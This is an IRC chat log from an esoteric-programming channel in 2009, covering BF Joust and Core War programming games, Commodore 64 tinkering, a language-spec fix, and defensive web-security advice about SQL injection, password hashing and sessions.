08:31:04 fungot sounds like it should be the name of an esolang 08:31:04 bsmntbombdood: krazybrit- liscenced? most pilots learn to spell and that was sikk crash, fucking please! 08:31:21 that was far too fast to be typed 08:36:45 -!- lereah_ has joined. 08:40:24 fizzie: 08:40:28 fungot: 08:40:28 bsmntbombdood: check out the notes bang on, let alone stomp anything. 08:40:32 ... 08:52:43 I made the youtube style 08:52:50 by pasting a LOT of YouTube comments 08:52:51 :) 08:52:53 ^style 08:52:53 Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* 08:52:57 Select your own :) 08:53:04 in which you want to chat 09:29:56 I plan to make a few mods to my C64 09:30:41 Mod 1: S-Video/Audio outs (2 cables) 09:40:30 and probably that's all 09:40:32 so not a few mods 09:40:34 but a single mod 09:40:41 to GREATLY improve the quality of the video 09:40:59 (Comparing RF to S-Video is like comparing Composite to HDMI. They can't be compared.) 10:28:07 -!- tombom has joined. 11:26:48 augh, no, i can't 11:32:43 -!- Slereah has quit (Read error: 60 (Operation timed out)). 11:36:03 -!- Slereah has joined. 11:54:17 LOL 11:54:27 I asked WolframAlpha: say "Hello!" 11:54:36 and it replied: Computation timed out. 11:55:37 enter any computer architecture: the same 11:56:24 I at least hope "enter any integer" works... no it does NOT! 11:56:48 oh 11:56:56 i see 12:03:32 -!- jix has joined. 13:27:10 CrazyTalk+Clay=WIN 13:43:32 -!- MizardX has quit ("Proclamation of invalidity!"). 13:46:40 -!- asiekierka has quit. 14:00:21 -!- impomatic has joined. 14:02:38 -!- MizardX has joined. 14:17:31 -!- Gracenotes has quit (Connection timed out). 14:29:43 -!- Corun has joined. 14:35:41 -!- BeholdMyGlory has joined. 15:12:00 -!- lereah_ has quit ("Leaving"). 15:24:02 -!- FireFly has joined. 15:26:44 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 15:33:24 -!- Slereah_ has joined. 15:43:56 -!- Slereah has quit (Read error: 110 (Connection timed out)). 15:46:44 -!- MizardX has quit (Read error: 60 (Operation timed out)). 15:57:09 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 16:13:13 -!- Corun has changed nick to Corun|away. 16:26:59 -!- Corun|away has changed nick to Corun. 16:27:54 -!- pikhq has joined. 16:33:33 http://www.underfoule.net/lhc/res/54.html 16:33:33 :3 16:44:50 -!- tombom_ has joined. 16:57:29 -!- asiekierka has joined. 16:58:36 Hi 16:58:48 Someone emulated a Commodore 65 on a Commodore 64 17:01:47 -!- tombom has quit (Read error: 110 (Connection timed out)). 17:05:52 -!- tombom_ has quit (Read error: 110 (Connection timed out)). 17:08:36 -!- oerjan has joined. 17:22:43 -!- ais523 has joined. 17:24:18 hi ais523! 17:24:25 hi 17:28:37 Is there any microcomputer architecture to emulate on the C64? 17:28:46 I wonder if an old Atari would be fun to do... 17:28:54 ...because in Poland C64s and Ataris were competing 17:29:08 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 17:41:05 -!- oerjan has quit ("leaving"). 17:52:29 -!- Corun has changed nick to Corun|away. 17:57:20 -!- zzo38 has joined. 17:57:39 My Cygwin doesn't have gcc do you know why? 17:58:35 -!- zzo38 has left (?). 18:10:44 -!- Corun|away has changed nick to Corun. 18:20:00 -!- Taejo has joined. 18:20:58 !bfjoust taejo_simplexity (>->+)*5[[-]>-] 18:21:00 Score for taejo_simplexity: -3 (maximum 11) 18:22:21 hmm... has the hill been fixed yet/ 18:22:25 or is it still upside-down? 18:23:00 dunno 18:23:14 submit something and we'll see who gets knocked out 18:23:36 !bfjoust ais523_attack1 [>[-]+] 18:23:38 Score for ais523_attack1: -4 (maximum 11) 18:24:07 ais523: still upside down 18:24:08 still upside-down 18:24:15 your good program has been pushed off the top 18:24:17 and suicide's still there 18:24:31 who runs the hill? 18:24:36 GregorR does 18:24:51 I wrote the interpreter, the rest of the code was a copy of his 18:24:55 and he's modified it a bit since 18:25:03 I want to write my own, but it's exam time 18:25:08 but he accidentally got the hill the wrong way up 18:25:15 and I have a BF Joust interp that you can base the hill on 18:25:43 I wouldn't mind writing my own 18:27:01 I GOT !@#$% RICKROLLED 18:27:04 ON A !@#$% C64 18:27:09 heh 18:27:23 at least the cover is nice 18:27:24 :) 18:27:26 SID rox! 18:27:38 He didn't even change it after April Fools! 18:29:26 !bfjoust taejo_simplexity_2 (>-->++)*5[[-]>-] 18:29:28 Score for taejo_simplexity_2: -3 (maximum 11) 18:29:30 :( 18:29:56 asiekierka: hill is upside down 18:32:09 I plan to add 2 mods to my C64 tomorrow: S-Video and noise reduction 18:32:20 um, nah 18:32:23 no noise reduction 18:33:44 watching "I Love Ascii 6" (the C64 demo) 18:34:05 it did (accidentally?) show the polish flag for a while 18:34:16 but the demo rocks 18:34:24 shows how much you can do with ASCII 18:34:28 or charsets 18:40:08 Also, I want to do a 8086 emulator :) 18:42:53 well, there IS a 8085 emulator 18:44:29 Nah, I want to just do some emulator 18:45:34 do an OISC emulater 18:45:47 hmm 18:45:48 good idea 18:46:17 I think I will have memory from $1000 to $D000 to use 18:46:34 -!- jix_ has joined. 18:47:06 which is 48KB 18:47:08 Quite a lot, eh? 18:47:27 This allows for 24000 words 18:47:34 no, even 24576 words 18:47:53 Therefore 8192 commands 18:48:47 Isn't that a LOT? 18:49:00 I could get a bit more but that'd lag it as hell 18:49:15 I think, if I could hide the I/O variables, I could get to $E000 18:49:36 which will get 2048 more words = 682 more commands 18:54:49 -!- pikhq has joined. 18:56:53 oh <-- maybe it was overloaded... 18:59:02 -!- jix has quit (Read error: 110 (Connection timed out)). 19:00:04 -!- impomatic has left (?). 19:12:00 -!- pikhq has quit (Read error: 54 (Connection reset by peer)). 19:14:32 -!- pikhq has joined. 19:32:41 -!- olsner has joined. 19:49:46 -!- kar8nga has joined. 20:14:36 -!- asiekierka has quit (Read error: 60 (Operation timed out)). 20:18:10 -!- MizardX has joined. 20:35:08 -!- KingOfKarlsruhe has joined. 21:04:54 -!- kar8nga has quit (Remote closed the connection). 21:35:44 -!- Corun has changed nick to Corun|away. 21:37:08 -!- Corun|away has changed nick to Corun. 21:56:20 yeah, my first C-program is finished, a snusp interpreter 22:01:40 -!- Sgeo has joined. 22:05:23 -!- pikhq has quit (Read error: 54 (Connection reset by peer)). 22:09:33 -!- pikhq has joined. 22:15:11 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 22:43:10 -!- pikhq has joined. 22:53:34 -!- jix_ has quit ("night"). 23:08:39 -!- oerjan has joined. 23:09:00 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 23:09:42 -!- FireFly has quit ("Later"). 23:09:58 ais523: i noticed a possible error in the eodermdrome spec 23:10:09 ah, whay is it? 23:10:19 *what 23:10:47 you can have two open nodes that have edges between them in the internal state graph but not the match graph 23:10:53 -!- BeholdMyGlory has quit (Remote closed the connection). 23:11:02 and by the description, those edges are removed 23:11:43 hmm... I don't think they're meant to be in that situation 23:11:50 it's a wiki, do you want to fix it? 23:11:59 i'll try 23:17:04 changing 23:17:04 Deletes all nodes from the internal state graph that correspond to closed nodes in the match subgraph, and all arcs connecting to them 23:17:08 Deletes all arcs in the internal state graph between two nodes that both correspond to open nodes in the match subgraph 23:17:13 into 23:17:18 -!- KingOfKarlsruhe has quit (Remote closed the connection). 23:17:20 # Deletes all arcs in the internal state graph corresponding to arcs in the match subgraph 23:17:24 # Deletes all nodes from the internal state graph that correspond to closed nodes in the match subgraph 23:21:11 oh wait now there is another problem 23:21:23 what if that edge _does_ exist in the replacement subgraph 23:22:17 ais523: ^ 23:22:42 hmm... I don't know 23:22:59 given that redundant edges can't otherwise exist in Eodermdrome, I imagine that the two edges consolidate 23:23:37 hm ok 23:23:51 i guess that's the implicit conclusion 23:24:03 -!- pikhq has joined. 23:25:57 and then the wiki died again 23:38:09 -!- Sgeo has quit (Read error: 104 (Connection reset by peer)). 23:43:05 -!- ais523 has quit (Remote closed the connection). 23:43:51 -!- Taejo has quit ("Leaving"). 23:45:14 -!- pikhq has quit (Read error: 54 (Connection reset by peer)). 23:46:27 -!- olsner has quit ("Leaving"). 23:49:01 -!- pikhq has joined. 23:54:51 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 2009-05-26: 00:20:24 -!- coppro has joined. 00:22:31 -!- pikhq has joined. 00:34:48 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 01:03:47 -!- sebbu2 has joined. 01:05:59 -!- Gracenotes has joined. 01:07:04 -!- sebbu has quit (Read error: 60 (Operation timed out)). 01:21:15 -!- Patashu has joined. 01:27:07 -!- pikhq has joined. 02:02:44 -!- coppro has quit (Remote closed the connection). 02:08:28 -!- sebbu has joined. 02:23:05 -!- sebbu2 has quit (Read error: 110 (Connection timed out)). 02:56:20 -!- coppro has joined. 03:01:57 -!- calamari has joined. 03:04:38 -!- Corun has quit. 03:10:55 -!- pikhq has quit (Read error: 54 (Connection reset by peer)). 03:21:30 -!- pikhq_ has joined. 04:01:32 -!- Slereah_ has quit (Read error: 110 (Connection timed out)). 04:07:52 -!- Slereah_ has joined. 04:09:42 -!- pikhq_ has changed nick to pikhq. 04:16:57 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 04:55:03 -!- pikhq has joined. 05:02:21 So, in theory, Unicode works. 05:03:00 «¡The composé key works!» 05:03:29 Amazing what having your local set right can do. 05:03:39 indeed 05:18:34 Locale, even. 05:21:34 Unicode, I declare, is a great boon. What sayeþ ye, men and women and small fuzzy creatures, of all þat is Esolang? 05:30:32 Υεα 05:42:38 -!- oerjan has quit ("leaving"). 06:00:41 unicode is evil 06:00:44 ascii forever 06:03:11 ɹәʌәu 07:07:14 -!- FireFly has joined. 07:10:20 ｕｎｉｃｏｄｅ　４ｅｖｅｒ 07:10:47 .. 07:10:55 -!- FireFly has quit (Client Quit). 07:14:24 -!- calamari has quit (Read error: 104 (Connection reset by peer)). 07:20:33 -!- kar8nga has joined. 07:30:39 -!- olsner has joined. 07:44:27 -!- coppro has quit (Read error: 110 (Connection timed out)). 07:49:23 -!- kar8nga has quit (Remote closed the connection). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:25:39 -!- olsner has quit ("Leaving"). 09:52:38 -!- GregorR-L has joined. 09:58:07 -!- Slereah has joined. 10:02:04 -!- impomatic has joined. 10:08:37 -!- Slereah_ has quit (Read error: 110 (Connection timed out)). 10:12:31 -!- Slereah_ has joined. 10:20:34 -!- impomatic has quit (Read error: 110 (Connection timed out)). 10:22:21 -!- Slereah has quit (Read error: 110 (Connection timed out)). 10:25:18 -!- Slereah has joined. 10:36:38 -!- Slereah_ has quit (Read error: 110 (Connection timed out)). 11:12:00 -!- jix has joined. 12:12:04 -!- lereah_ has joined. 12:13:24 -!- sebbu2 has joined. 12:28:09 -!- sebbu has quit (Read error: 110 (Connection timed out)). 12:50:20 -!- MizardX has quit ("What are you sinking about?"). 13:04:07 -!- MizardX has joined. 13:05:16 -!- Slereah_ has joined. 13:05:49 http://may.2chan.net/27/res/117551.htm 13:05:53 King of threads 13:06:15 -!- Slereah has quit (Read error: 60 (Operation timed out)). 13:30:01 -!- Corun has joined. 13:56:41 -!- Slereah has joined. 14:03:00 -!- Slereah_ has quit (Read error: 110 (Connection timed out)). 14:17:20 -!- Slereah has quit (Read error: 110 (Connection timed out)). 14:34:47 -!- ais523 has joined. 14:40:32 -!- Slereah has joined. 15:07:27 -!- Slereah_ has joined. 15:07:46 -!- Slereah has quit (Read error: 110 (Connection timed out)). 15:22:52 -!- Slereah_ has quit (Read error: 60 (Operation timed out)). 15:39:29 -!- lereah_ has quit ("Leaving"). 15:42:04 -!- impomatic has joined. 15:42:20 Hi :-) 15:43:49 hi 15:43:59 * ais523 grumbles at the hill still apparently being upside-down 15:44:33 hill? 15:44:46 Patashu: BF Joust 15:44:51 thought so 15:44:54 what's wrong with it? 15:44:57 there was meant to be a tournament running here 15:45:04 but the current code eliminates all the good programs 15:45:06 rather than all the bad ones 15:45:11 haha 15:45:16 flip a < to a >? ;) 15:45:33 well, suicide, the worst BF Joust program theoretically possible, is still there 15:45:49 it loses every game, unless the opponent uses the same strategy, in which case it's a draw 15:46:17 -!- Slereah has joined. 15:46:28 do you have control over the code or is it someone else's bungle? 15:46:57 it's in GregorR (or GregorR-L) 's code 15:49:07 I've seen someone get a KOTH upside down before so it must be pretty easy to do :-) 15:49:25 well, something as simple as a reversed test could to it 15:49:28 Hopefully it'll be fixed soon. I assume the hill will then run forever? 15:49:49 but in this case it's the fact that an array's the other way round to what GregorR thinks 15:49:53 are there any 'program vs program' languages besides corewar, fukyourbrane and BF joust? 15:49:54 and yes, probably for ages, anyway 15:50:00 after all, the hill is still up 15:50:08 Patashu: quite a few, I think; but only corewar is really popular 15:50:27 I have to agree about BF joust with other people who've noted there's only one way to go about winning 15:50:32 not any more 15:50:40 the revised version, there are at least three strategies 15:50:50 oh? 15:50:58 I've done quite well with defence programs, which wait to be attacked then try to trick the opponent off the end of the tape 15:51:09 by dropping the flag to 0 for one cycle, then back up again 15:51:12 -!- FireFly has joined. 15:51:20 -!- Gracenotes has quit (Success). 15:51:29 hehe 15:51:51 I think that strategy is a) one of the best, but b) very very hard to pull off well 15:52:40 I had a defensive program too before the hill was changed. I've got a copy of the 20 warriors from the old hill so I can resubmit it when the hill has been fixed. 15:52:57 any plans for more opcodes? 15:53:12 * impomatic hopes not ;-) 15:53:14 Patashu: it just wouldn't be BF then 15:53:27 zzo38 has a version with input from the opponent's NOPs, although I don't see the point 15:53:59 input from the opponent's NOPs? what does that mean 15:54:32 Patashu: well, . does output in BF 15:54:43 aah 15:54:48 There's a description on the discussion page of the BF Joust wiki page. 15:54:51 sounds a bit silly though 15:54:57 since you can simulate a NOP with <><> or whatever 15:55:03 yes 15:55:08 well, a one-cycle NOP is useful for parity reasons 15:55:20 and messing about with <> or >< or even +- can be very dangerous in BF Joust 15:55:27 due to the end of hte tape 15:55:58 it doesn't sound like a very well-founded concept in any case 15:56:00 even if it makes BF-sense 15:56:18 since you'd never WANT to tell your opponent anything 15:56:24 why make a command for it? :P 15:56:50 I needed to use a one-cycle NOP in one of my programs to get the timing right 15:58:32 maybe , could get the value of your opponent's pointer or the value under your opponent's pointer or something 15:58:45 hmm 15:58:57 impomatic: same here 15:59:02 attack5 uses quite a lot of them 15:59:09 it's a counter-defence attack program 15:59:23 although it can confuse about half of genuine attack programs by setting decoy cells to -6 15:59:27 which they aren't expecting 16:00:59 Patashu: see http://aiforge.net for a programming games forum and about 1500 links. 16:01:16 oh yeah 16:01:18 fighting programmable robot games 16:01:53 http://www.sumost.ca/steve/games is also a decent page 16:02:41 There are a few which don't involve robots, but most of the ones I've looked at are similar to Corewar 16:21:53 -!- Patashu has quit ("Patashu/SteampunkX - MSN = Patashu@hotmail.com , AIM = Patashu0 , YIM = Patashu2 , Googletalk = Patashu0@gmail.com ."). 16:22:31 impomatic: corewar question: how effective is using SPL 0, rather than a goto, to create a loop? 16:30:01 If you have a SPL 0 at the head of the loop and let the processes drop off the end, the loop will be 1 cycle slower. 16:30:10 Processes take 1 cycle to execute the DAT which kills them. 16:31:21 if you're planning to spawn a load of processes anyway, though, it might be worth it 16:31:37 However, the loop can only be killed by destroying the SPL. Damaging any other instruction won't kill the loop, just damage it. 16:31:50 It's best to have a SPL 0 at the top and a JMP at the end :-) 16:32:00 ah, aha 16:32:27 I was vaguely thinking of setting up some sort of huge number of imp spirals 16:32:41 hitting thread limit, so that anti-paper strategies wouldn't work 16:32:47 and hoping that at least one survived to overwrite the opponent 16:32:49 But occasionally the instructions are out of sync, but it doesn't really matter. Also it means the loop reverse! 16:34:06 It takes ages to hit the process limit. It's normally 8000 processes. 16:34:12 ah 16:34:16 I thought it varied by hill 16:34:20 An opponent can clear the core in that time. 16:34:32 but at least, churning out your own threads will reduce the impact of a SPL-based bomb 16:34:54 and an imp spiral swarm would tend to intrinsically dodge core-clears 16:35:01 2/3 chance it misses once you're down to one imp 16:35:25 * ais523 wonders what warriors do after the core-clear ends 16:35:40 max processes is normally the same as coresize, the the same applies to the other hills, e.g. nano hill = 80 cells, 80 cycles to clear it with d-clear, 80 maxprocesses. 16:36:13 They just keep clearing over and over, just in case they missed a mobile warrior first time round. 16:36:21 By the way, the #corewars channel has moved to freenode :-) 16:36:31 so, is it corewar or corewars? 16:36:42 Unfortunately koth.org is closing down :-( 16:37:06 The official name of the game is Core War. 16:37:36 Corewar is more common though. 16:43:33 -!- Gracenotes_ has joined. 16:44:06 -!- Gracenotes_ has changed nick to Gracenotes. 16:49:46 I return. 16:49:56 ehird: ISIDTID? 16:50:20 ais523: "I disappear yesterday therefore I return." 16:50:27 well, yes 16:50:32 it all depends on what returning means 16:50:51 Existing. 16:50:52 Being/ 16:50:54 In here. 16:53:53 * ais523 moans at the upside-down hill 16:56:46 -!- OoS has joined. 17:06:38 Hey, where'd my server go? 17:06:59 Looks like all of Slicehost is unusually sequestered. 17:07:00 -!- BeholdMyGlory has joined. 17:07:00 kerlo: well, I can log into it 17:07:02 if it's the one I think 17:07:07 I'm online there right now 17:07:25 Can you get a login prompt at s2.normish.org? I can't. 17:07:29 ouch 17:07:35 Well, now I can. Never mind. 17:07:41 strong static discharge from my chair! 17:07:43 :/ 17:08:08 hi ais523 17:08:12 -!- MizardX has quit ("from __future__ import skynet"). 17:08:31 hi AnMaster 17:08:57 * kerlo successfully remembers half of his password. 17:09:09 lot of static discharges here today... Strange. 17:09:14 kerlo: do you want me to change your password, using my scammed root powers? 17:09:15 from anything in metal at all. 17:09:35 ais523: you have scammed root powers on s2.normish.org? 17:09:45 anyone has any idea for a reason? 17:09:47 oh, probably not s2 17:09:50 if it's a different server 17:09:53 just on the main normish.org 17:10:13 So kerlo's now paying $50/month so that he can develop a new normish separately on the live deployment environment? 17:10:20 Yep. 17:10:26 You mean like what I wanted to do originally, and was faced with "WHY DON'T YOU JUST DEVELOP IT LOCALLY FOO" 17:10:31 Hmmmmmmmmmmm. 17:10:37 I suspect the "new normish" isn't actually a nomic 17:10:46 Not yet, anyway. 17:10:48 otherwise there'd be no point 17:10:52 Indeed. 17:11:05 ehird, why not develop it locally? It is a good point IMO. 17:11:21 well, I developed the old system locally 17:11:25 and it even works, sort of 17:11:25 AnMaster: I was pointing out some hypocrisy, and I'm not exactly in a mood to go into Talk To AnMaster Very Carefully And Slowly mode. 17:11:47 AnMaster: this is an old flamewar lasting weeks from several months ago 17:11:48 ais523: I've been watching kerlo ask things like how to avoid SQL injection with a PHP registration system in Sine. Cringeworthy that he administrates Normish >_< 17:11:49 so you're missing contest 17:11:53 ais523, ah... 17:11:57 *context 17:11:57 not exactly flamewar 17:12:05 well, it did cause me to shun you for weeks 17:12:07 more strong disagreement with additional fire :) 17:12:09 which is rather out of character for me 17:12:27 At least I now know how to avoid SQL injection, I think. :-P 17:13:01 Next up: How to escape HTML! With ASP.NET -or- ColdFusion -or- PHP! 17:13:06 yes, bad-but-works way = proper escaping, good-and-works-better-and-is-easier-way = parameterized or stored queries 17:13:07 10 Best Javascript Libraries 17:13:18 50 Ways To Monitor Your Site's Uptime!!!! 17:13:28 * ehird vomits all over the blagosphere 17:13:41 Parameterized queries. Sounds nice. 17:14:19 ais523: he's using PHP and uses Windows, I'm pretty sure you're wasting your time :) 17:14:29 I'm pretty sure even PHP can do that 17:14:36 it can 17:14:51 I'm just pointing out that maybe talking about reasonable best practices and clean design is better given to /dev/null 17:15:13 That sounds likely. 17:15:43 i'm staying on Actual Normish, which at least has proper unix tools instead of PHP/MySQL user registration forms. 17:16:23 Hey, I'm planning to have proper Unix tools as well. 17:16:40 kerlo: The user database is in MySQL, is it not? 17:16:49 Therefore, not Unix accounts. Therefore, no, no you're not. 17:17:28 Is there some magical force preventing me from having each user in the database have a linked Unix account? 17:17:43 * ehird puts his head through a wrangler to forget what you just said 17:18:09 * pikhq tries to unhear things. Unsuccesfully. 17:18:13 actually, the correct way to do that would be to write a mysql backend that stores data in /etc/passwd 17:18:26 That sounds kind of weird. 17:18:30 ais523: That is correct for values of "DEAR GOD KILL ME". 17:18:39 pikhq: We're doomed. 17:18:48 I'm making an underground bunker 17:19:23 ehird: I was trying to think up the sanest way to achieve what kerlo wanted; the fact that it's insane implies the original request was insane 17:19:44 I blame youth. 17:19:55 maybe we could clone the internet, put kerlo in it, wait 3 years, then destroy the cloned internet and let him on the real one 17:19:58 it's our only hope 17:20:23 ehird: err, why? 17:20:35 ais523: The sanest way involves a PAM module. 17:20:50 ais523: the very existence of this insane "Normish s2" may collapse the whole internet 17:20:52 err, that reads a MySQL database? 17:20:56 or at least severely damage it 17:21:11 -!- impomatic has quit (Read error: 110 (Connection timed out)). 17:21:37 Not saying it's very sane, mind. 17:22:03 -!- OoS has changed nick to impomatic. 17:22:06 pikhq: I don't think PAM's tied into the UNIX UID system for files 17:22:32 as in, creating MySQL table rows wouldn't magically create users for any purpose other than logging in 17:23:24 Okay, people who are significantly intelligent and/or knowledgeable than me. Suppose I want people to have Unix accounts and I also want to track various bits of information about those people. 17:23:40 Is creating the accounts and then using YAML that references their usernames the best way to accomplish that? 17:23:50 No. 17:23:53 Use proper files, dammit. 17:23:57 -!- impomatic has left (?). 17:24:04 Real, unix, plain text, lightweight-format FILES. 17:24:36 Is MySQL useful for its intended purpose? If so, perhaps I've forgotten what that purpose is. 17:24:48 To be a bad version of PostgreSQL. 17:24:57 PostgreSQL is a program whose purpose is not to be used as a replacement for plaintext files. 17:25:07 What is its purpose, then? 17:25:31 Correct me if I'm wrong, 17:25:33 but I just told you 17:26:36 kerlo: MySQL is the C of databases 17:26:42 No. 17:26:43 you have to do everything by hand, but it can be very efficient as a result 17:26:47 No, that's an utterly terrible comparison. 17:26:51 really? 17:26:57 It's nothing like C. 17:26:59 The sentence "PostgreQSL is a program whose purpose is not . . ." does not tell me what its purpose is. 17:27:03 maybe it's the C++ of databases, as it also has a lot of useless features 17:27:08 kerlo: whose purpose is (not ...) 17:27:21 Definitely the C++ of databases. 17:27:30 It does a lot of stuff, and does it poorly. 17:27:44 The thing about sarcastic statements is that they're not very useful when interpreted as the truth. 17:27:46 ais523: C's lean, mean, efficient, it has a clean design, and does what it does completely well. MySQL has its legs the wrong way round. It's not even really fast. It tries to do things and does them all badly. It's built on top of a bad design. 17:27:52 It keeps trying to do more things, and it keeps failing at them. 17:27:56 Just... no. 17:29:01 ehird, I suppose you're the kind of person who would stop using a system if new features were added and those features sucked. 17:29:37 I suppose you, kerlo, are the kind of person who will jump to conclusions without basis and then state these matter-of-factly in a deliciously non-sequitur manner. 17:29:54 Call me crazy, but. 17:30:48 That may be true, but I'm just saying that to pacify you, not because I really believe it, not that I don't believe that I believe it. 17:30:51 MySQL does most everything it does poorly. 17:35:31 Well, I refuse to use a database system whose name contains four consonants in a row. 17:35:52 kerlo: "unix" does not have four consonants in a row. 17:36:12 And now for something not blatantly false: 17:36:39 Would you (collectively) recommend switching to PostgreSQL, then? 17:36:48 No. 17:36:55 I would recommend using Unix properly, dammit. 17:37:51 So, suppose hypothetically that I want to store people's usernames and passwords. 17:38:02 You would use proper Unix accounts. 17:38:14 Okay, suppose I do that. 17:38:22 And you wouldn't store their passwords, you'd store the hash of their passwords. 17:38:31 pikhq: One step at a time. 17:38:37 That's precisely why I said "hypothetically". 17:38:39 Think "talk to a three year old". 17:38:59 Hmm. 17:39:59 -!- M0ny has joined. 17:40:24 Also, use PAM for authentication of these accounts, not manually wrangling /etc/passwd like I just forsighted you doing. Yes, that means a dumbed-down web interface to the Unix tools you have will be a pain to implement due to PAM not being that easy to automate. That's a feature. 17:40:33 -!- Gracenotes has quit (Success). 17:42:27 actually, you store the password hashes in a different file, so you can make most of the user database user-visible, but not the password hashes 17:42:51 ais523: Unix. Accounts. 17:43:02 ehird: yes 17:43:05 /etc/shadw 17:43:16 Yes. I know. That's not kerlo's concern. 17:43:20 There are tools that handle that. 17:44:04 "Nanotechnology discoveries: Disks that can store 10000 times more data than a DVD and that can outlive stone inscriptions!" 17:44:08 FUCK YEAH NANOTECHNOLOGY 17:44:39 "They've further increased the storage density to 1.1 terabytes per cubic centimeter" 17:44:46 not bad 17:44:48 "In a paper published online today in the journal Nature, Gu's group reports recording speeds of about a gigabit per second." 17:44:59 1Gbit/sec writing to media with 1.1TB/cm2. 17:45:02 Want. Now. 17:45:12 I wonder what its rewrite is like? 17:45:21 although something like that would be amazing even in write-once form 17:45:25 maybe it's write-once, yeah 17:46:02 outliving stone inscriptions too 17:46:04 is pretty damn awesome 17:46:11 ais523: see, THIS is the ideal backup media 17:46:11 :) 17:46:19 ehird: 1.1TB/cm³ is pretty spiffy. :) 17:46:26 pikhq: er, ^3 yeah not 2. 17:46:53 You can't mess up your backups, you can store all your backups for forever with only a few discs, and backups are instant (assuming sufficiently fast source media) 17:46:59 hmm... that would be over a petabyte per litre 17:47:03 and storing a litre isn't that hard 17:47:14 -!- oerjan has joined. 17:47:17 yep 17:47:29 ehird: no way! 17:47:30 Imagine the bandwidth of a station wagon hurtling down the road with one of this things. 17:47:38 * pikhq waves at Örjan 17:47:42 oerjan: been logreading, or just an out-of-content reply? 17:47:48 ais523: the latter :D 17:47:52 pikhq: I wonder how many library of congresses per disc it'd be? 17:47:54 *out-of-context reply 17:48:06 ais523: well both 17:48:11 pikhq: Ørjan 17:48:22 umm guys 17:48:28 ais523: pikhq: 1Gbit/sec = 128MB/sec 17:48:32 ok, that's rather less impressive 17:48:43 ehird: oh, giga/bit/s 17:48:47 how cheating of them 17:49:00 ais523: well, it's what internet connections use 17:49:09 maybe CDs/DVDs/Blu-Ray are measured in that too 17:50:16 So, suppose we let our users log in via the web. If I'm not mistaken, the chief non-weird way to do this is cookies. Would these cookies contain the users' passwords? 17:50:32 kerlo: AAAAAAAAAAAAAAARFGH 17:50:37 Stop coding stop coding stop coding 17:51:08 Forever? 17:51:17 Give or take a day 17:51:21 kerlo: no, and i can say that without even having read the answer. what about session ID? 17:51:32 "No" is the answer I expected. 17:51:40 kerlo: not cookies. 17:51:47 Sessions. If you don't know what they are, stop coding some more. 17:51:53 kerlo: cookies generally contain autogenerated nonsense that's used to identify a session 17:51:58 and the session is used for everything else 17:52:04 ais523: just tell him to use PHP sessions 17:52:09 ah, good point 17:52:16 we can't save him, but we can edge him in a sort of right direction to avoid unspeakable disaster 17:52:20 then you don't have to worry about how they're implemented (even though they're normally implemented with cookies) 17:52:30 OTOH, isn't PHP open to session fixation unless you take steps against it? 17:52:38 Don't think so. 17:52:50 My current strategy is attempting to make him outsource as much code as possible to Unix and his language. Less dangerous :) 17:53:14 * kerlo reads about sessions. 17:53:16 ais523: argh, "One discovery can store way more than a DVD, and the other has a long lifetime. Furthermore, the first one is write-only, and I don't see indications of mass storage for the second." 17:53:19 ais523: so two separate things 17:53:36 ok 17:53:41 and Slashdot lying as usual? 17:53:57 The blog title lying to get sensationalist hits 17:54:06 and the reddit submitter— bet it's the author of the blogspam— using the same title 17:54:23 at least slashdot clarifies its sensationalism in the summaries 17:55:03 ehird: wait, write-only? you mean it _cannot_ be read again? :D 17:55:09 heh 17:55:17 oerjan: http://www.supersimplestorageservice.com/ 17:55:18 S4! 17:55:21 Write-only storage! 17:55:26 Super-secure! Competitive pricing! 17:55:33 C L O U D 17:55:42 write-only? 17:55:45 ais523: Yes! 17:55:48 It's provably secure. 17:55:50 err, how can you prove they're storing at all? 17:55:57 Would they LIE to you 17:55:58 ? 17:56:15 argh, that website has one of the most annoying JS advertising sidebars I've ever seen 17:56:17 ais523: Here's their proof: http://www.supersimplestorageservice.com/secure/s4/pipeline/cache/throughput/proof.aspx 17:56:21 * ais523 opens in Firefox instead 17:56:32 ((read carefully)) 17:56:36 now I know why I have JS off by default 17:57:18 ehird: oh it's a joke, must be 17:57:22 it doesn't look /quite/ like a genuine IIS formatting page 17:57:23 Should I ask how to store little bits of information associated with each user another time? 17:57:27 *error page 17:57:30 formatting-wise, I mean 17:57:46 ais523: yes, they don't usually reference watching (a) the game, (b) cute kitten videos or (c) female mud wrestling 17:57:50 or people starving in China 17:58:01 ehird: it's not the text I'm talking about 17:58:04 which is obviously different 17:58:06 i know :p 17:58:59 17:57 oerjan: ehird: oh it's a joke, must be 17:59:04 oerjan: very AnMaster of you 17:59:08 "All complaints and feature requests will be immediately stored using our S4-backed user request database." :D 17:59:11 what? 17:59:43 ehird: i _was_ trying to stretch my mind for a moment thinking of any way it could not be a joke 17:59:44 ehird, when is that quote from? 17:59:55 AnMaster: almost every time you're mentioned, ever 17:59:58 or where you impersonating again... 18:00:02 also, Amazon allow PUT requests? 18:00:12 that's one interesting piece of information to come out from that site, if it's true 18:00:14 ehird, just see above for a counter example 18:00:16 I thought PUT requests were dead 18:00:21 yes, I was nefariously POSING AS YOU, AnMaster 18:00:30 And making you FORGET WHAT "ALMOST" MEANS 18:00:39 ais523: nah, REST is popular nowadays 18:00:40 ehird, I think we need secure tripecodes! ~ 18:00:40 which is nice 18:00:44 ehird: i mean, _backup_ is sort of write-only in the short term. but it's not anything new so... 18:00:47 ehird: but nothing supports PUT 18:00:47 (or whatever the spelling was) 18:00:54 ais523: sure it does 18:01:22 [[Micheal Lynton, the guy who said 'I'm a guy who doesn't see anything good having come from the Internet. Period.' has posted an editorial at the Huffington Post titled Guardrails for the Internet, in which he defends his comment, and suggests that just as the interstate system needs guardrails, so too does the information superhighway.]] 18:01:28 * ehird cries 18:01:30 haha: https://www.paypal.com/us/cgi-bin/webscr?cmd=_flow&SESSION=g--DKTemd4TMMMq8aU4EeABuqWILa_aMmkQbyhwzrxbrHtx8tmKmlH7irWC&dispatch=5885d80a13c0db1f998ca054efbdf2c29878a435fe324eec2511727fbf3e9efc 